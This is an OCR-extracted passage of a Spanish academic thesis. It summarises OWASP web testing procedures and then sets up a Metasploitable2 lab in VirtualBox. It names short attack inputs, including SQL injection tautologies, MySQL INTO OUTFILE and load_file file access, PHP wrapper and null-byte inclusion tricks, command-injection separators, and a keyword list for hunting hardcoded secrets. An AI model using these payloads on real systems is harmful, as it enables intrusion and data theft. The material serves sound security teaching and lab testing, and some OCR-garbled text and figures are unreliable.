de la ruta.

5https://wuw.cvedetails.com/vulnerability-1list/vendor_id-848/product_id-1447/version_id-385738/

Phpbb-Group-Phpbb-2.0.13.html
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Pruebas

= Caja negra:

e Enumerar los vectores de entradas: Determinar las par-
tes de la aplicacién que sean vulnerables a la omisién de la va-
lidacion de entrada, lo que implica enumerar todas las partes
que acepten contenido del usuario, asi como consultas GET,
POST y opciones de carga de archivos y formularios HTML.
Se deben comprobar los parametros que puedan usarse pa-
ra operaciones relacionadas con archivos, las extensiones de
archivos inusuales, nombres de variables (por ejemplo, item,
file, home) y las cookies utilizadas por la aplicacién web para
la generacién dindamica de paginas o plantillas.

e Otras técnicas de prueba: Teniendo en cuenta la infor-
macién del sistema que se estd probando, solicitar archivos
confidenciales introduciendo la ruta de éstos como argumen-
tos en los vectores de entrada localizados (URL, cookies o
formularios). Se pueden incluir tanto archivos internos de la
aplicacién como externos a éstas. Considerar diferentes meca-
nismos de codificacién de los caracteres y el sistema operativo
que soporta el servidor.

= Caja gris: Seguir el mismo enfoque que en las pruebas de caja
negra pero revisando el cédigo fuente para buscar los vectores de
entrada.

WSTG-ATHZ-03

Elevar los privilegios

Objetivos

= Identificar puntos de inyeccién relacionados con la manipulacién
de privilegios.

= Fuzzear o intentar eludir las medidas de seguridad.

s Identificar puntos donde pueden ocurrir referencias a objetos.

= Evaluar las medidas de control de acceso y si son vulnerables a
IDOR.
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Pruebas

Manipulacién del grupo de usuarios: Verificar si un usuario
perteneciente a un grupo puede acceder a los recursos de otro grupo
por medio de pardmetros utilizados en peticiones al servidor (por
ejemplo, groupID).

Manipulacién del perfil de usuario: Comprobar si hay cam-
pos ocultos devueltos por el servidor después de una autenticacion
exitosa y modificar los valores de éstos.

Manipulaciéon del valor de la condiciéon: Modificar los pardame-
tros devueltos por el servidor después de una respuesta de error por
parte de éste.

Manipulaciéon de la direccién IP: Cambiar la direccién IP
cuando se haya limitado el acceso a un recurso.

Travesia de URL: Verificar si algunas de las paginas pierden la
verificacién de autorizacién atravesando el sitio web (por ejemplo,
en vez de usar userInfo.html, usar una ruta absoluta /../.././use-
rInfo.html).

WSTG-SESS-02 Ver los atributos de las cookies

Objetivos

s Asegurarse de que se ha establecido la configuracién de seguridad

adecuada para las cookies.

63




CAPITULO 4. DISENO

Pruebas

= Revisar los atributos y los prefijos de las cookies con un proxy o
desde el propio navegador.
» Atributos:

e Secure: Indica al navegador que solo se envie la cookie si la
solicitud se envia a través de un canal seguro como HTTPS.

e HttpOnly: No permite acceder a la cookie a través de un script
del lado del cliente como JavaScript.

e Domain: Se utiliza para comparar el dominio de la cookie
con el dominio del servidor para el que se realiza la solici-
tud HTTP. Si el dominio coincide o si es un subdominio, el
atributo Path se verificard a continuacion.

e Path: Permite especificar las URLs para las que la cookie es
vélida.

e Expires: Permite establecer cookies persistentes, limitar la
vida 1til si una sesién dura demasiado y eliminar una cookie
a la fuerza asigndndole una fecha anterior a la actual.

e SameSite: Se utiliza para afirmar que la cookie no debe en-
viarse junto con solicitudes entre sitios. Se puede configurar
de tres modos deferentes: Strict, para solo permitir enviar la
cookie en solicitudes que coincidan con el sitio actual mostra-
do en la barra del navegador; Laz, que enviara la cookie si la
URL es igual al dominio de ésta, incluso si el enlace viene de
terceros; y None, para poder enviar la cookie en las solicitudes
entre sitios.

= Prefijos: Se utilizan para incrustar como parte del nombre de las
cookies, caracteristicas relacionadas con la integridad y confiden-
cialidad de éstas.

e __HOST-: Espera que la cookie esté configurada con el atributo
Secure y desde un URI considerado seguro por el agente de
usuario, ademas de que solo se puede enviar al host que la
configurd sin incluir ningin atributo Domain pero si el atributo
Path con un valor de / para que se envie a cada solicitud del
host.

e _Secure-: Establece que la cookie tenga el atributo Secure
y que esté configurada de una URL considerada segura por el
agente de usuario.

Recomendaciones

= Aplicar los atributos y prefijos, adaptandose a las necesidades de
la aplicacién y cémo debe funcionar la cookie.

WSTG-SESS-05

Probar la falsificacién de solicitudes entre sitios (CSRF)

Objetivos

= Determinar si es posible iniciar solicitudes en nombre de un usuario
que no sean iniciadas por el usuario.
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Pruebas

Comprobar si la gestiéon de sesiones es vulnerable, por medio de
realizar una auditoria la aplicacién para averiguar si se basa en los
valores del lado del cliente (cookies y credenciales de autenticacién
HTTP). Se puede acceder a estos recursos facilmente a través de
solicitudes GET y de forma automatizada usando el método POST.
Fulsificacion mediante POST: Crear una pagina HTML en la que
se cargue la funcién submit() de CSRF para lanzarla desde un
formulario que use el método POST y redirija los parametros de
usuario y contrasena ocultos al sitio web objetivo. Esta pagina
html ahora se debe alojar en un sitio malicioso o de terceros, para
después enviar el enlace de este sitio al cliente para que haga clic
en él.

Fulsificacion mediante JSON: Crear una pagina HTML con un
formulario que redirija la accién a al sitio web de la victima con
la codificacién text/plain, método POST y un campo oculto que
incluya las credenciales con relleno de nombre; asi como un script
que anexe un registro que contenga la URL ¢/’ en la sesién de
historial del navegador.

Recomendaciones

Comprobar si el marco tiene proteccion CSRF incorporada y uti-
lizarla. Si el marco no tiene una proteccion CSRF incorporada,
agregar tokens CSRF a todas las solicitudes de cambio de estado
(solicitudes que provocan acciones en el sitio) y validarlas en el
backend.
Usar el patron de token sincronizador para el software con estado
y cookies de envio doble para software sin estado.
Implementar al menos una de las siguientes mitigaciones:

e Usar el atributo SameSite para las cookies de sesién pero no

configurar ninguna especificamente para un dominio.
e Implementar una proteccién basada en la interaccion del
usuario para operaciones altamente confidenciales.

e Usar encabezados de solicitud personalizados.

e Verificar el origen con encabezados estandar.
Consultar la hoja de proteccién de XSS'6 para prevenir los fallos
de XSS, qué pueden romper todas las técnicas de mitigacion contra
CSRF.
No utilizar solicitudes GET para operaciones de cambio de esta-
do. Si esto no es posible, proteger los recursos involucrados contra
CSRF[65].

| WSTG-INPV-02 | Inyectar cédigo ejecutable en una entrada de datos persistente

16https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
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Objetivos
» Identificar la entrada almacenada que se refleja en el lado del clien-
te.
= Evaluar la entrada que acepta y la codificacién que se aplica a la
devolucién (si corresponde).
Pruebas

= Caja negra:

o Formularios de entrada: Identificar todos los puntos donde la
entrada del usuario se almacena en backend y dénde se mues-
tra en frontend. Ejemplos de entrada son paginas de usuarios
o perfiles, administrador de ficheros, configuracién o preferen-
cias de la aplicacion, foros, blogs y registros.

e Analizar cédigo HTML: Las entradas pueden estar presentes
tanto en etiquetas HTML como en el contenido de JavaScript.
Hecho esto, inyectar cédigo fuera de las etiquetas de entrada
de texto.

o Prueba de XSS almacenado: Probar la validacion de entrada
y los controles del filtrado de la aplicacién inyectando cédigo
mediante solicitudes de tipo GET y POST, desde fuera de las
etiquetas de entrada de texto.

e XSS almacenado con BeF[I: Explotando la vulnerabilidad
XSS en la aplicacién, inyectar un hook!'” de JavaScript que
se comunique con el marco de explotaciéon del navegador ata-
cante, esperar a que el usuario acceda a la pagina vulnerable
que muestra la entrada almacenada y con ello controlar el
navegador del usuario a través de la consola BeFF'8.

e Subida de archivos: Comprobar si se permiten archivos HTML
o TXT para poder inyectar la carga ttil XSS y verificar si la
carga de archivo permite configurar tipos MIME!? arbitrarios.
Si es posible hacer ambas cosas, inyectar codigo HTML que
muestre el contenido de las cookies.

s Caja gris: Si se conoce informacion sobre las entradas de usuario,
los controles de validacién de entrada y el almacenamiento de da-
tos, verificar como se procesa la entrada del usuario en frontend y
cémo se almacena en backend. Realizar los siguientes pasos:

e En el frontend, ingresar caracteres especiales o no validos y
analizar la respuesta de la aplicacion.

e Identificar la presencia de controles de validacién de entrada.

e En el backend, verificar si la entrada estd almacenada y cémo
se almacena.

e Analizar el cédigo fuente y comprender cémo la aplicacién
procesa la entrada almacenada.

17Funcién que permite enlazar el estado de los componentes funcionales a caracteristicas propias de un componente
de clase, en programacién web con react[54].

18https://beefproject.com/

19 Tipo Extensiones multipropdsito de Correo de Internet, una forma estandarizada de indicar la naturaleza y el
formato de un documento, archivo o conjunto de datos.
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WSTG-INPV-05 Inyeccion SQL

Objetivos
Identificar puntos de inyeccion SQL.
Evaluar la severidad de la inyeccién y el nivel de acceso que se
puede lograr a través de ella.

Pruebas

Detectar los puntos en los que la aplicacion interactia con la base
de datos para acceder a algunos datos (formularios de autentica-
cién, motores de busqueda o sitios de comercio electrénico). Se
debe elaborar una lista con todos los campos en los que se puede
elaborar una consulta SQL, incluidos los ocultos en las solicitudes
POST), probarlos por separado para interferir con la consulta y
generar un error.

Agregar una comilla simple (terminador de cadena en SQL), un
punto y coma (finaliza una declaracién SQL), delimitadores de
comentarios (-, /* */) y palabras claves de SQL para intentar
provocar un error en la consulta. Si la consulta devuelve un mensaje
de error, en éste puede aparecer informacién del Sistema Gestor de
Base de Datos (SGDB), las bases de datos, las tablas o los atributos
presentes. Si solo devuelve un error del tipo 5xx, se deben usar
técnicas de inyeccion ciega.

Inyeccion SQL estandar:

o Autenticacién: Usar el siguiente payload®® tanto para el cam-
po usuario como para el de contrasena, y con ello autenticarse
usando una tautologia que devolvera un valor o un conjunto de
valores: " or 1’ = ’1. Considerar que pueden usarse paréntesis
a la hora de formar la consulta. Si se usan funciones de hash
para las contrasenas, inicamente considerar el usuario intro-
duciendo al final de su campo un simbolo para que el resto de
la consulta se trate como un comentario.

e Seleccion de elementos: Si en la URL aparecen pardmetros
que se utilicen para hacer consultas sobre la base de datos,
probar si la aplicacion es vulnerable anadiendo operadores AND
y OR (por ejemplo, afiadir AND 1=2). Si se produce un error,
la aplicacién es vulnerable.

e (Consultas apiladas: Sabiendo que la aplicacién es vulnerable
a consultas en la URL, probar a ejecutar otras consultas se-
parandolas por ;.

20Carga ttil
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Pruebas

= Averiguar cudl es la base de datos: Partiendo del error pro-
ducido, se puede averiguar cudl es la base de datos utilizada en el
backend de la aplicacion:

MySQL: ... check the manual that corresponds to your MySQL

SEerver ...

e Oracle: ORA-00933: SQL command not properly ended
e MS SQL Server: Microsoft SQL Native Client error

‘80040e14’...
PostgresSQL: Query failed: ERROR: syntax error at or near

Si no se devuelven mensajes de error, inyectar cadenas utilizando
técnicas de concatenacién especificas de cada sistema gestor: “+”
en mySQL y “” en SQL Server, Oracle y PostgreSQL.

= Técnicas de Explotacién:

Ezplotacion sindical: Usar operador UNION para obtener in-
formacion de los usuarios relacionados con los objetos refe-
renciados en la URL a partir de su identificador. Es necesario
identificar el numero de columnas presentes en la tabla a unir
para evitar errores de sintaxis, forma de averiguarlo es usar la
clausula ORDER BY con el ntmero de columna. También se
debe averiguar el tipo de cada columna probando con NULL
y valores numeéricos.

Explotacion booleana: Consiste en realizar consultas boolea-
nas contra el servidor, observar las respuestas y deducir el sig-
nificado de esas respuestas. En este caso las pruebas consisten
en ir comparando letra por letra los valores de los parametros
que se quieren consultar cuyos resultados se comparan con
una consulta errénea para verificar si son correctos. Es nece-
sario saber la longitud de la cadena para finalizar el proceso.
Ezxplotacion basada en errores: Consiste en obligar a la base
de datos a realizar una operacion cuyo resultado sea un error
para que luego se muestre en el mensaje de error. La forma
de realizarlo depende del SGBD.

Ezxplotacion fuera de banda: Haciendo uso de funciones pro-
pias del SGBD, se realiza una conexién fuera de banda para
entregar los resultados de la consulta inyectada como parte
de la solicitud al servidor del probador.

Explotacion de retardo de tiempo: Se envia una consulta inyec-
tada para monitorizar lo que tarda en responder el servidor.
Si se produce un retraso, se puede asumir que la consulta
condicional es verdadera.

Inyeccion de procedimiento almacenado: Si se encuentra un
procedimiento almacenado que no desinfecte la entrada del
usuario, probar una inyeccién de cédigo SQL habitual.
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MySQL

= Si se usa una version 4.0 o anterior, realizar un ataque de inyeccion
ciega basado en tiempo o booleanos, ya que el operador UNION
no estd implementado.

= Determinar si la aplicacién escapa las comillas simples junto al
resto de caracteres o no.

= Recopilaciéon de informacién:

e Version: Obtener la versién del gestor, usando la variable glo-
bal version, la funcién VERSION() o mediante el uso de
comentarios con un numero de version.

e Uusario: Obtener el usuario conectado al servidor MySQL con
USER(), y el usuario interno que ejecuta la consulta con CU-
RRENT_USER. Se puede hacer mediante inyeccién en banda
(1 AND 1=0 UNION SELECT USER()) o mediante inyeccién
inferencial (1 AND USER() like root %’).

e Base de datos: De forma analoga a las consultas del usua-
rio, obtener el nombre de la base de datos usando la funcién
DATABASE().

» INFORMATION_SCHEMA: Obtener desde esta vista infor-
macién del esquema, privilegios de usuario, tablas, privilegios sobre
las tablas, columnas, los privilegios sobre la columna, las columnas
que tiene un usuario, rutinas y disparadores.

= Vectores de ataque:

e FEscribir en un archivo: Si se tienen permisos de FILE y no
se escapan las comillas simples, usar la sentencia SELECT ...
INTO OUTFILE?' para exportar los resultados de la consulta
en un archivo. Se puede hacer con un ataque fuera de banda.

e Leer de un archivo: Si se tienen permisos FILE y sobre sistema
de archivos, leer el contenido de ficheros usando la funcién
load._file(nombre_fichero)?2.

= Inyeccion SQL estdndar: Se pueden lanzar ataques de inyeccién
SQL estandar sobre aplicaciones web que utilicen MySQL. Para
ello hay que conocer cuéles son los errores arrojados por este SGBD
y las funciones nativas de éste, con lo cual se debe considerar el
Manual de MySQL?23. Algunos tipos de ataque de inyeccién SQL
se consiguen como se indica en los siguientes puntos:

e Fuera de banda: Enviando la salida a un fichero mediante la
clausula into outfile.

e Inyeccion ciega: Utilizando las funciones para obtener la
longitud de una cadena con LENGTH(cadena)2*, extraer
subcadenas con SUBSTRING(cadena, posicién_inicial,
longitud)?®; y hacer una inyeccién basada en tiempo usando

BENCHMARK (contador_bucle, sentencia)?® y SLEEP?7.

2lhttps://dev.
22https://dev.
23https://dev.
24nttps://dev.
5https://dev.
26nttps://dev.
2Thttps://dev.

mysql.
mysql.
mysql.
mysql.
mysql.
mysql.c
mysql.

com/doc/refman/8.0/en/select-into.html
com/doc/refman/8.0/en/string-functions.html#function_load-file
com/doc/refman/8.0/en/error-message-elements.html
com/doc/refman/8.0/en/string-functions.html#function_length
com/doc/refman/8.0/en/string-functions.html#function_substring
om/doc/refman/8.0/en/select-benchmarking.html
com/doc/internals/en/sleep.html
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Recomendaciones

Usar consultas parametrizadas o funciones especificas de cada len-
guaje.

Si se usan procedimientos almacenados, construirlos correctamen-
te.

Validar las entradas de las listas de permitidos, esto es hacer que
el usuario solo pueda introducir valores de los parametros y nunca
nombres de tablas o bases de datos.

Fscapar todas las entradas del usuario.

Hacer cumplir el privilegio minimo, lo que implica no dar maés
permisos de los necesarios [66].

WSTG-INPV-11 Prueba de inyeccién de cédigo

Objetivos
Identificar puntos de inyeccién donde se puede inyectar cédigo en
la aplicacién.
Evaluar la severidad de la inyeccién. Identificar y evaluar los puntos
de inyeccion de mando.

Pruebas

Caja negra - Inyeccién PHP: Inyectar c6digo malicioso en una
URL como valor de un parametro.

Caja gris - Inyeccién APS: Examinar cédigo ASP y localizar
los puntos de entrada del usuario para determinar si el usuario
puede ingresar comandos que se ejecuten en la aplicacién.
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Ficheros locales

Buscar scripts que tomen nombre de archivo como parametros y
solicitar archivos arbitrarios del servidor (por ejemplo, el fichero
passwd, que contiene los nombres de usuario). Si se espera una
extension de archivo al final, probar con las siguientes técnicas.
Inyeccién de bytes nulos: Agregar al final el cardcter null o final
de cadena con el objetivo de que se ignore lo que venga después
de éste. Una forma de inyectar este caracter es usando la cadena
codificada %00.

Truncamiento de ruta: En PHP, el limite de nombre de archivos
suele ser de 4096 bytes, de modo de que si es méas largo se trunca
a ese tamano con lo cual se descarta cualquier caracter adicional.
Se puede combinar con otras estrategias de omisién ldgica, como
codificar parte de la ruta del archivo con Unicode?®, introducir
codificacién doble o cualquier otro tipo de entrada que represente
de forma vélida el nombre del fichero deseado.

Contenedores PHP: Un contenedor o envoltorio de PHP es un
c6digo que rodea otro codigo para realizar funciones adicionales, en
cuyo alcance abarca el sistema de archivos (por ejemplo, file://)%°.
Si se localiza un contenedor, dependiendo del tipo, se debe abusar
de éste para identificar riegos.

e PHP filter - php://filter/.../resource=FILE: Con este
contenedor, intentar obtener el contenido de un archivo que
impide que el servidor lo ejecute, como cédigo fuente de la
pagina.

e PHP ZIP - zip://ruta_fichero#fichero_interno: Con es-
ta estructura, indicar una ruta a un archivo malicioso junto a
la ruta donde se coloca dentro del ZIP procesado. Una forma
de conseguir esto seria crear un fichero que ejecute un coman-
do que obtenga informacién interna (por ejemplo, phpinfo(),
comprimirlo como un archivo zip, cambiar su extensién (por
ejemplo, a jpg) y cargarlo en el servidor. Puede ser necesario
codificar el caricter # por %23.

e PHP data - data://text/plain;basebs, contenido_baseby:
Si estd habilitada la opcién allow_url_include en el servidor
PHP, intentar incluir el cédigo malicioso codificado en base64
en el campo contenido_base64 para que se ejecute en el
servidor.

e PHP expect - expect://comando: Incluir comandos relacio-
nados con la entrada estdndar (stdin), la salida estdndar
(stdout) y la salida de error (stderr).

28Estdndar de codificacién de caracteres que asigna a cada uno un valor en hexadecimal.
29nttps://www.php.net/manual/en/wrappers.php
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Ficheros remotos

= Un vez se identifica una posible entrada, si ésta no se valida o

no se sanea, incluir una URL que apunte a un fichero remoto que
contenga el codigo que se quiere ejecutar en la aplicacion para
obtener informacién interna de ésta.

Recomendaciones

Enviar la entrada del usuario por cualquier API de sistema o mar-
co. Si no es posible, mantener una lista de archivos permitidos3®
que puede incluir la pagina o un identificador para acceder al archi-
vo seleccionado, rechazando cualquier solicitud con identificadores
no validos.

WSTG-INPV-12 Inyeccion de comandos

Objetivos
= Identificar y evaluar los puntos de inyeccién de comandos
Pruebas
= Sustituir el valor de un pardmetro por un comando del sistema con
punto y coma al final, codificado como %3B. Probar la ejecucién de
comandos con distintos caracteres especiales como | ; || && >
< n
Revisar y probar si aparecen las siguientes funciones en el lenguaje
que use la aplicacién:
e Java: Runtime.exec()
e C/C++: system, exec, ShellExecute
e Python: exec, eval, os.system, os.popen, subprocess.popen,
subprocess.call
e PHP: system, shell exec, exec, proc_open, eval
Recomendaciones

Desinfeccion: Sanear las URLs y datos de los formularios. Usar
listas de permitidos y escapar o filtrar los caracteres especiales.
Permisos: Delimitar correctamente los permisos de cada usuario
para evitar que accedan a recursos del sistema.

WSTG-CRYP-03

Prueba de envio de informacion sensible mediante canales no
cifrados

Objetivos

= Identificar la informacion sensible transmitida a través de los dis-

tintos canales.

= Evaluar la privacidad y seguridad de los canales utilizados.

30nttps://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
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Pruebas

s Comprobar si se usa HT'TP en vez de HTTPS en la aplicacién a
la hora de rellenar formularios con datos sensibles.

= Observar los atributos de las cookies, en particular si tiene esta-
blecido el de Secure.

= Evaluar si la contrasena o clave de cifrado estd codificada en el
c6digo fuente o en los archivos de configuracién y verificar si los
registros o el cédigo fuente pueden contener informacién personal.

WSTG-CRYP-04

Prueba de cifrado débil

Objetivos

= Proporcionar una guia para la identificacién de usos e implemen-
taciones de cifrado débil o hash.
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Pruebas

= Comprobar si se cumplen todos los elementos de la siguiente lista
de verificacién:

Si se usa AES128 o AES256, el vector de inicializaciéon (VI)
debe ser aleatorio e impredecible[69].

Cuando se usa cifrado asimétrico, utilizar criptografia curva
eliptica (ECC) con una curva segura[67]. Si no se puede usar
ECC, usar el cifrado RSA con una clave minima de 2048 bits.

e Sise usa RSA en la firma, se realiza el relleno de PSS.
e No se usan algoritmos de hash/cifrado débiles como MD5,

RC4, DES, Blowfish, SHA1. RSA o DSA de 1024 bits, ECDSA
de 160 bits (curvas elipticas), 2TDEA de 80/112 bits (DES
triple de dos claves).

e No se usa el modo CBC de SSH.
e No se utiliza ECB cuando se hace uso de algoritmos de cifrado

asimétrico[75].

Cuando se cifra la contrasefia con PDKF2[55], el pardme-
tro de iteracion es superior a 1000 y como recomendacién
de NIST, debe haber al menos 10000 iteracién en la fun-
ci6n hash. No se puede usar MD5 con PBKDF2 (por ejemplo,
PBKDF2WithHmacMD5).

= Revision del cédigo fuente:

Buscar por las siguientes palabras claves para identificar si se
usan algoritmos débiles: MD4, MD5, RC4, RC2, DES, Blowfish,
SHA-1, ECB.

Para las implementaciones de JAVA, revisar los pardmetros
que se usen en las API de cifrado (longitud, algoritmo de
cifrado, claves de cifrado, etc.).

Para el cifrado RSA, comprobar que no se usa ECB en el
relleno y que la longitud es de al menos 2048 bits.

Verificar que se usa un vector de inicializacién distinto cada
vez que se cifran datos y también que se genera de forma
aleatoria (objeto IvParameterSpec).

En Java, buscar MessageDigest para verificar si se usa un
algoritmo de hash débil (MD5 o CRC).

e Para la firma, comprobar que no se usa SHA1 y MD5.
e Comprobar si se usa PBKDF2 para la generacion del hash de

la contrasena. Revisar los parametros que se usan para gene-
rar el valor de PBKDF2 (de forma aleatoria y con iteraciones
superiores a 10000).

Buscar cadenas que se refieran a informacién confidencial co-
dificada. Por ejemplo name, root, su, sudo, admin, superuser,
login, username, uid para usuarios, o public key, AK, SK,
secret key, private key, passwd, password, pwd, share key, sha-
red key, cryto, base64 para contrasenas. Otras palabras clave
pueden ser: sysadmin, root, privilege, pass, key, code, master,
admin, uname, session, token, Oauth, privatekey, shared se-
cret.
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Tabla 4.3: Diseno de las pruebas lanzadas sobre el entorno de pruebas
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Capitulo 5

Implementacion de un Entorno de
Pruebas controlado

En el presente capitulo se indicard como realizar el proceso de montado de un entorno de pruebas
controlado, en el que estan presentes gran parte de las vulnerabilidades descritas en el OWASP
Top Ten y que servird para realizar un conjunto de pruebas con el fin de comprobar que es posible
obtener datos personales a raiz de explotar las vulnerabilidades que contiene.

Para el escenario se ha elegido el esquema que se muestra en la figura 4.3, en la que la propia
maquina anfitriona actiia como atacante de la maquina virtual victima. La primera tiene un sistema
operativo de Kali Linux y cuenta con la configuraciéon adecuada para el entorno de pruebas, segin
se indica en la seccién 4.3, Diseno de Pruebas. Por su parte, la segunda es una maquina virtual
que se implementa dentro de la méquina anfitriona.

Para la maquina victima, se ha elegido Metasploitable2, una méaquina virtual lista para ser usada
y que cuenta con gran parte de las vulnerabilidades presentes en el OWASP Top Ten. Su imple-
mentacion se ha llevado a cabo usando el software de virtualizacién, Virtualbox aunque se puede

usar cualquier otro software como lo puede ser VMware!.

5.1. Instalacién de la maquina victima

Los pasos para instalar la maquina virtual de Metasploitable2 sobre Virtualbox son los siguientes:

1. Instalar el software de virtualizacién Virtualbor ya sea mediante la descarga desde la pagina
oficial® o ejecutando el comando desde la miquina anfitriona:

$ sudo apt install virtualbox

2. Descargar la maquina virtual Metasploitable2®.

'https://wuw.vmware . com/
2https://www.virtualbox.org/
Shttps://sourceforge.net/projects/metasploitable/files/Metasploitable2/
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CAPITULO 5. IMPLEMENTACION DE UN ENTORNO DE PRUEBAS CONTROLADO

3. En virtualboz, seleccionar la opcién de Crear mdquina virtual, asignar un nombre y seleccionar
Linux como tipo de sistema operativo con una versiéon de Ubuntu de 64 bits.

Nombre y sistema operativo

Seleccione un nombre descriptivo y una carpeta destino para la nueva
maquina virtual y seleccione el tipo de sisterna operativo que tiene intencién
de instalar en ella. El nombre que seleccione sera usado por VirtualBox para
identificar esta maquina.
Nombre: Metasploitable2
Carpeta de maquina: fhome/kalifVirtualBox VMs
Tipo: Linux

Version: Ubuntu (64-bit)

Modo experto Siguiente »| Cancelar

Figura 5.1: Creacién de una nueva maquina mediante Virtualbozx

4. Seleccionar la opcién de siguiente para indicar el tamano de la memoria (se puede dejar el
que viene por defecto) y en la siguiente pantalla seleccionar el fichero de la méquina virtual
de Metasploitable2 descargado como imagen de disco virtual.

Disco duro

Si desea puede afadir un disco duro virtual a la nueva maquina. Puede crear
un nuevo archivo de disco duro o seleccionar uno de la lista o de otra
ubicacién usando el icono de la carpeta.

. Si necesita una configuracion de almacenamiento mas compleja puede

omitir este paso y hacer los cambios a las preferencias de la maquina virtual
una vez creada.

El tamaiio recomendado del disco duro es 12,00 GB.

No afiadir un disco duro virtual
Crear un disco duro virtual ahora

® Usar un archivo de disco duro virtual existente

Metasploitable.vmdk (Normal, 8,00 GB) - R

< Anterior Crear Cancelar

Figura 5.2: Seleccién de la maquina virtual Metasploitable2 como imagen de disco para la creacién
de la maquina virtual
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5. Finalizar el proceso mediante la opcién de Crear.

Ahora se puede arrancar la maquina y acceder a ella con las credenciales que se indican por pantalla
(msfadmin/msfadmin).

Warning: Never expose this UM to an untrusted network!
Contact: msfdevlatlmetasploit.com

Login with nsfadmin/nsfadnin to get started

yle login: msfadmin

Last login: Wed Jul 13 14:05:02 EDT 2022 on ttyl
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in susr/sharesdoc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

» official Ubuntu documentation, please visit:
help.ubuntu.con/

msfadmin@metasploitable:™§ _

Figura 5.3: Acceso a la maquina virtual victima mediante login

5.2. Configuracion de red

La configuracion de red se debe llevar a cabo de modo que la victima tenga una direccién IP estatica
mientras que la anfitriona debe actuar como adaptador de red. Para conseguir esta configuracién
se ha hecho lo siguiente:

1. En wirtualboz, seleccionar las opciones Archivo > Administrador de red de Anfitrion para
hacer que la méquina virtual solo pueda conectarse con la anfitriona y las pertenecientes a la
misma red. Seleccionar la opcién de crear y deshabilitar la asignacion mediante DHCP para
hacer que la victima tenga una IP estatica.
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Red

Crear Eliminar Propiedades

Nombre ~ Direccién/mascara IPv4 Direccién/mascara IPV6 Servidor DHCP
vboxnet0 192.168.56.1/24 fe80::800:27ff:fe00:0/64 Habilitar

€ \daptador = Servidor DHCP
Configurar adaptador automaticamente
® Configurar adaptador manualmente
Direccién IPv4: 192.168.56.1
Mascara de red IPv4: 255.255.255.0
Direccion IPvE: fe80:800:27ff:fe00:0

Longitud de mascara de red IPvE: 64

Cerrar

Figura 5.4: Configuracion de red solo-anfitrién en virtualbox

2. Arrancar la miquina virtual y editar el archivo de configuracién /etc/network/interfaces para
asignarle la direccién estatica 192.168.56.101/24, cuyo adaptador de red y direccion IP de
la méquina anfitriona es la 192.168.56.1, con el siguiente contenido:

/network/interfaces
es available on your
re information, see interf

# The loopback netuork interface
auto lo
iface lo inet loopback

i The primary network interface

cast 192.166.56.25¢
sfadnin@netasploita

Figura 5.5: Asignacién de IP estatica a la maquina victima

Con estos dos pasos realizados, se comprueba que la asignacién de direcciones IP en ambas maquinas
es correcta. Se observa que el nombre del adaptador de red en la maquina anfitriona es vboznet0 y
en la victima es eth0:
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fe00:0 prefixlen
00 txquevelen 1¢
)

nsfadnin@netasploitabl ifconfig
etho Link encap:Et Hiaddr 08:00:27:16:9:9
inet addr:192.168.56.101 Beast:192.168.56.255 Mask:255.255.255.0
inetb addr: fe60::a00:27f1:fef6:9e9e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:53 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:7825 (7.6 KB)
Base address:0xd020 Memory:£0200000-f0220000

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0
inetb addr: ::17128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
: 10 dropped:0 overruns:0 frane:0
51155 errors:0 dropped:0 overruns:0 carrier:0
xqueuelen:0
9 (49.1 KB) 1X bytes:50329 (49.1 KB)

nsfadnindnetasploitable:"§ _

Figura 5.6: Direcciones IP de las maquinas presentes en el entorno de pruebas controlado

Ahora se verifica la conectividad entre ambas maquinas a distintos nivel de capas segin el modelo

TCP/IP:

= Red: Desde la maquina se mandan peticiones a la victima mediante el protocolo ICMP y el
comando ping, mientras que ésta captura los paquetes de la interfaz de red con tcpdump:

$ ping 192.168.56.101

$ sudo tcpdum -i ethO

msfadninénetasploitable:”$ sudo tcpdump -i ethd

tepdunp: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type ENIOMB (Ethernet), capture size 96 bytes
14:33:53.154662 1P 192.168.56.1 > 192.168.56.101: ICHP echo request, id 41904,

eq 12, length 64

14:33:53.154900 1P 192.168.56.101 > 192.168.56.1: ICHP echo reply, id 41904, seq
12, length 64

14:33:54.183342 1P 192.168.56.1 > 192.168.56.101: ICHP echo request, id 41904,

Figura 5.7: Comprobacion de conectividad a nivel de capa de red

= Transporte: Se usa la herramienta nmap para escanear todos los puertos TCP abiertos:

$ nmap -p- -sT 192.168.56.101
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nmap 192.168.56.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-29 15:23 CEST
Nmap scan report for 192.168.56.101
Host is up ( 2s latency).
Not shown: 65 closed tcp por (conn-refused)
PORT STATE SERVICE
21/tcp open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open

open

open

open

open ccproxy-ftp

open mysql

open distccd

open postgresql

open  vnc

open

open

open

open

open  unknown

open msgsrvr

open  unknown

open unknown

open unknown

open unknown
MAC Address: Hi'B 9E (Oracle VirtualBox virtual NIC)

nmap done: 1 IP address (1 host up) scanned in @.87 seconds

Figura 5.8: Inspeccion de todos los puertos TCP abiertos por medio de la herramienta nmap

= Aplicacién: Se accede a la maquina virtual de forma remota usando el servicio de ftp:

$ ftp 192.168.56.101

d:

Login su 1.

emote system type is UNIX.
binary mode to transfer files.

Figura 5.9: Acceso remoto a la maquina mediante el servicio ftp

Realizadas estas comprobaciones, se puede asegurar que el entorno de pruebas esta bien montado
y configurado.
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Pruebas en un entorno controlado

En el presente documento se indican de forma breve los resultados obtenidos para cada una de las
pruebas realizadas sobre la maquina de Metasploitable2. En particular, se ha atacado la aplicacién
web de Mutillidae, que permite explotar parte de las vulnerabilidades descritas en el OWASP
Top 10.

Ha sido necesario modificar el fichero de configuracién /var/www/mutillidae/config.inc, presente
en la maquina virtual para establecer una conectividad entre el servicio web mencionado y la base
